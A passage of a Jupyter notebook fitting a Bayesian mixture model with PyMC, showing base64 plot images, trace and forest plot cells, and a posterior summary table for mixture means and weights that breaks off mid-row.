\nBHby3j+2pWodEckBbgZeAOJ+la2g5+AaVf012JwMVT0W42K1Rjl2ApQuIl2BdGzFtLiiqu8DRxvc\nfWaT8+DrLe1aqFZqrE6qukJVa4Obf8JWYo0LYf5GAD8CHm/n4rSHhIpPrREmtg0g/Ht0LrBYVauC\njZ53Ye2Z0MLES2+jepqIwd5OZzUW1z/D26il5wqNtctkEbkIyFTVD4Pn/YZmzi/iNckKt4lx3Auu\nRIzFTqTi2Y+BbwG1zT0xTgwBDovIQhH5SESeF5H0WBfqfKlqKfDvwD7sQ7hMVVfGtlRtpl+wSilA\nMdAvloWJgr8E3ox1IVpDROYCRaqaH+uyREHCxqfWaBDbwr1H+3PuUvidpe0ai5feRudqLAZ3x9vp\njDBxfQXeRuG0tF0a3n+AZtorXpOsRBl+dg4RyQCWAt8IrvrFJRH5EnBIVTeSAL1Yga7AOOA5VR2H\nrYYZb8PQzhCRocBj2Mbf/YEMEflqTAsVBWor+yTM54WI/D1wWlVfjnVZzldwceJJ4Kn6d8eoONGQ\nMP9vbSWIbf+Lxbbj9R+L4D2a0O0ZSbzs7G0UaDYGd/Z2ChPX76r/nM7eRuFE61whXpOsSDY6jisi\nkowFof9W1WWxLk8rXQXMEZG9wGLgehH5TYzL1FpF2JX3vOD2UuwDP15NANapaomqVgOvYn+3RFAs\nItkAQff+oRiXp02IyH3YkKJ4T4aHYicBm4PPiBzgzyLSN6alajsJF59ao15sW1QvtoV7jzZsuxzi\ncBhzCzUWLxfhbdRQuBh80NvpjMbi+pV4G4XTkvdYUXB/ToP7m2yveE2yEmojyGBC3a+Arar6TKzL\n01qq+qSqDlTVIdiky1Wqek+sy9UaqnoQ2C8iI4K7ZgKfxLBIrbUdmCIiacH/30xs0nUiWA7cG3x/\nLxDvFy0IJtd+C5irqpWxLk9rqOoWVe2nqkOCz4gibKJ2QiTDJFh8ao0mYlu49+hy4A4R6SYiQ4Dh\nwIcksDDx8m68jc7RRAz+Hd5OdcLFdW+jxrXoPRb8D5aLrWopwN00c34Rtc2IoykBN4K8GrgLyBeR\njcF9C1T1rRiWqS0lSvfz14GXghOn3QSbZ8cjVd0c9C5uwOYBfAT8MralajkRWQxMAy4Ukf3APwI/\nAJaIyANAAfDl2JWw5Rqp01PYaoLdgBXBIkfrVfWR2JUycvXqc0Hd30hVF9Z7SqJ8PgAJGZ9ao9HY\nRpj3qKpuFZEl2IlhNfCIdr7NPOvq6230RY3F4CS8nYAm43omnbyNWnKu0Ey7PAL8F5CGrXTZ5Hm6\nb0bsnHPOOeecc20oXocLOuecc84551yH5EmWc84555xzzrUhT7Kcc84555xzrg15kuWcc84555xz\nbciTLOecc84555xrQ55kOeecc84551wb8iTLOeecc84559rQ/wMNDP6NewjRTAAAAABJRU5ErkJg\ngg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x124689750>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "if(not multicore):\n", " trace = ts[0]\n", "with model:\n", " pm.traceplot(trace, model.vars)" ] }, { "cell_type": "code", "execution_count": 265, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "<matplotlib.gridspec.GridSpec at 0x12956a150>" ] }, "execution_count": 265, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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\nBQwMLGD58n02FPjY8CZNjyYibpU0G3g9sETSz2tX121ef+nxRPp3EHi85vlBYIqkPYGPAAdExPo0\npLZ186I3M5u8Jk2PRtLOwF8j4izgixTDZFAkmeuB10iaLmkq8FYav0EioAt4DHhE0k7A4Y2+vnau\ns+7ubqZPP5uiU7SC6dOX0d3d3WAYZtYOKpUKvb1VurqW0tW1lN7eNVQqlbLDamuTpkcDVIAvSBqk\n6KG8nyLhEBH3SPoscB3wMHAzsL7mtaPdoY+I6JO0Mr3uLuCqRoM68cQTNySbarXK+vXHAG8HYP36\nLalWq646M9uMSOKcc06q+Xu4t/n+zBgmTaKJiEuBS+uePqRmeWlEnJZ6NOcB56fXvbtmH3cAs2p+\nfvdwy5tGIyyb2eZCki8Qx2HSDJ01YHHqlfQDt0XEj1sdgLvcZtaJ/AebzTXmfxPgKWjMNpn/YLM9\njfi5ONE0l/8/GrP8nGja0+SfGaBd1c51ZmbWidyjaS43pll+7tG0J/dozMysHE40ZmaWlRONmZll\n5URjZmZZOdFkVjvXmZlZJ3LVWXP572jM8nPVWXty1ZmZmZXDicbMzLJyojEzs6ycaMzMLCsnmsw8\n15mZdTpXnTWXG9MsP1edtSdXnZmZWTmcaMzMLCsnGjMzy8qJxszMsnKiycxznZlZp3PVWXN5rjOz\n/Fx11p5cddbJrrjiirJDABxHu8UA7RFHO8QwUWXGXtaxJ3JcJ5oO0C6/yI6jvWKA9oijHWKYKCea\nxjjRmJlZVk40ZmaWlYsBmkiSG9OsBSKipQUB/t1uzEifixONmZll5aEzMzPLyonGzMyycqLJRFKv\npJsl3SrpEyXGcYekPkkrJV3XomN+W9L9kvprnttB0k8l/VbSpZKmlxTHYkl/TO2xUlJv5hh2k3S5\npDWSqpKOT8+3tD1GiaPV7bG1pGslrZJ0k6TPpedbfn5siuHOrTKOI2mupPU1n98JTTrusOfLhEWE\nH01+AFOA3wEzgS2BVcBeJcVyO7BDi4/5KmA20F/z3L8DH0/LnwA+X1Ici4B/aWFbvBDYLy1PA24B\n9mp1e4wSR0vbIx3/OenfqcA1wCvLOD+afW6VcRxgLnBBq86Xum3uaHR/7tHkcSDwu4i4IyKeBM4G\njiwxnpZW6ETEL4G1dU8fAZyZls8E3lRSHNDC9oiI+yJiVVoeAH4D7EqL22OUOKD158ef0+JWFBdl\naynh/NgUo5xbZRyn6Z/fCOfLLvWbNbo/J5o8dgXuqvn5j2z8pW61AC6TdIOk95YUA8BOEXF/Wr4f\n2KnEWD4oabWk01s5RCNpJsXV6bWU2B41cVyTnmppe0jaQtIqivd9eUSsob3Oj81JAAenz+//S9q7\n2QeoO28nxIkmj3aqGe+JiNnA4cAHJL2q7ICi6HeX1UZfA/YE9gPuBf6jFQeVNA34IfC/IuLR2nWt\nbI8Uxw9SHAOU0B4RMRgR+wEzgFdLOqRufZnnx+ZmBbBbROwLnAr8qJk7rz9fJC0cuh8E7FJzb+jU\n0fbjRJPH3cBuNT/vRtGrabmIuDf9+yBwPsWwXhnul/RCAEk7Aw+UEUREPBAJ8C1a0B6StqRIMt+L\niKEvgpa3R00c3x+Ko4z2GBIR64GLgDm0yfmxuYmIR4eGIiPiYmBLSTs0Y98jnC8nRcTsdPF6z9By\nRHxwtH050eRxA/B3kmZK2gqYD1zQ6iAkPUdSV1reFjgMyFolM4oLgHel5XfR5CuvRqUvsSFvJnN7\nSBJwOnBTRJxcs6ql7TFSHCW0x45Dw3OStgEOBVbSJufH5kbSTumzRdKBFH+E/3AT9jvSeTsxuaol\nOv1BMVR1C0X12SdLimFPioq3VUC1VXEA/w+4B3iC4l7Vu4EdgMuA3wKXAtNLiOMfge8CfcBqii+z\nnTLH8EpgMH0GK9Ojt9XtMUIch5fQHhWK4Z5V6bgfS8+3/Pxo0rn1+NA5nvk4tefw+4D3pfUfSL/b\nq4BfAwflPG/rtrmt0f15ChozM8vKQ2dmZpaVE42ZmWXlRGNmZlk50ZiZWVZONGZmlpUTjZmZZeVE\nY2ZmWTnRmJlZVv8FHWQHDA7lzj8AAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1247c5f90>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "pm.forestplot(trace)" ] }, { "cell_type": "code", "execution_count": 286, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "p_logodds:\n", "\n", " Mean SD MC Error 95% HPD interval\n", " -------------------------------------------------------------------\n", " \n", " -0.048 0.065 0.001 [-0.173, 0.080]\n", "\n", " Posterior quantiles:\n", " 2.5 25 50 75 97.5\n", " |--------------|==============|==============|--------------|\n", " \n", " -0.176 -0.092 -0.048 -0.003 0.078\n", "\n", "\n", "mu0:\n", "\n", " Mean SD MC Error 95% HPD interval\n", " -------------------------------------------------------------------\n", " \n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", "\n", " Posterior quantiles:\n", " 2.5 25 50 75 97.5\n", " |--------------|==============|==============|--------------|\n", " \n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", "\n", "\n", "mu1:\n", "\n", " Mean SD MC Error 95% HPD interval\n", " -------------------------------------------------------------------\n", " \n", " 1.037 0.046 0.000 [0.949, 1.124]\n", "\n", " Posterior quantiles:\n", " 2.5 25 50 75 97.5\n", " |--------------|==============|==============|--------------|\n", " \n", " 0.948 1.006 1.036 1.069 1.124\n", "\n", "\n", "p:\n", "\n", " Mean SD MC Error 95% HPD interval\n", " -------------------------------------------------------------------\n", " \n", " 0.488 0.016 0.000 [0.457, 0.520]\n", "\n", " Posterior quantiles:\n", " 2.5 25 50 75 97.5\n", " |--------------|==============|==============|--------------|\n", " \n", " 0.456 0.477 0.488 0.499 0.519\n", "\n", "\n", "mu:\n", "\n", " Mean SD MC Error 95% HPD interval\n", " -------------------------------------------------------------------\n", " \n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 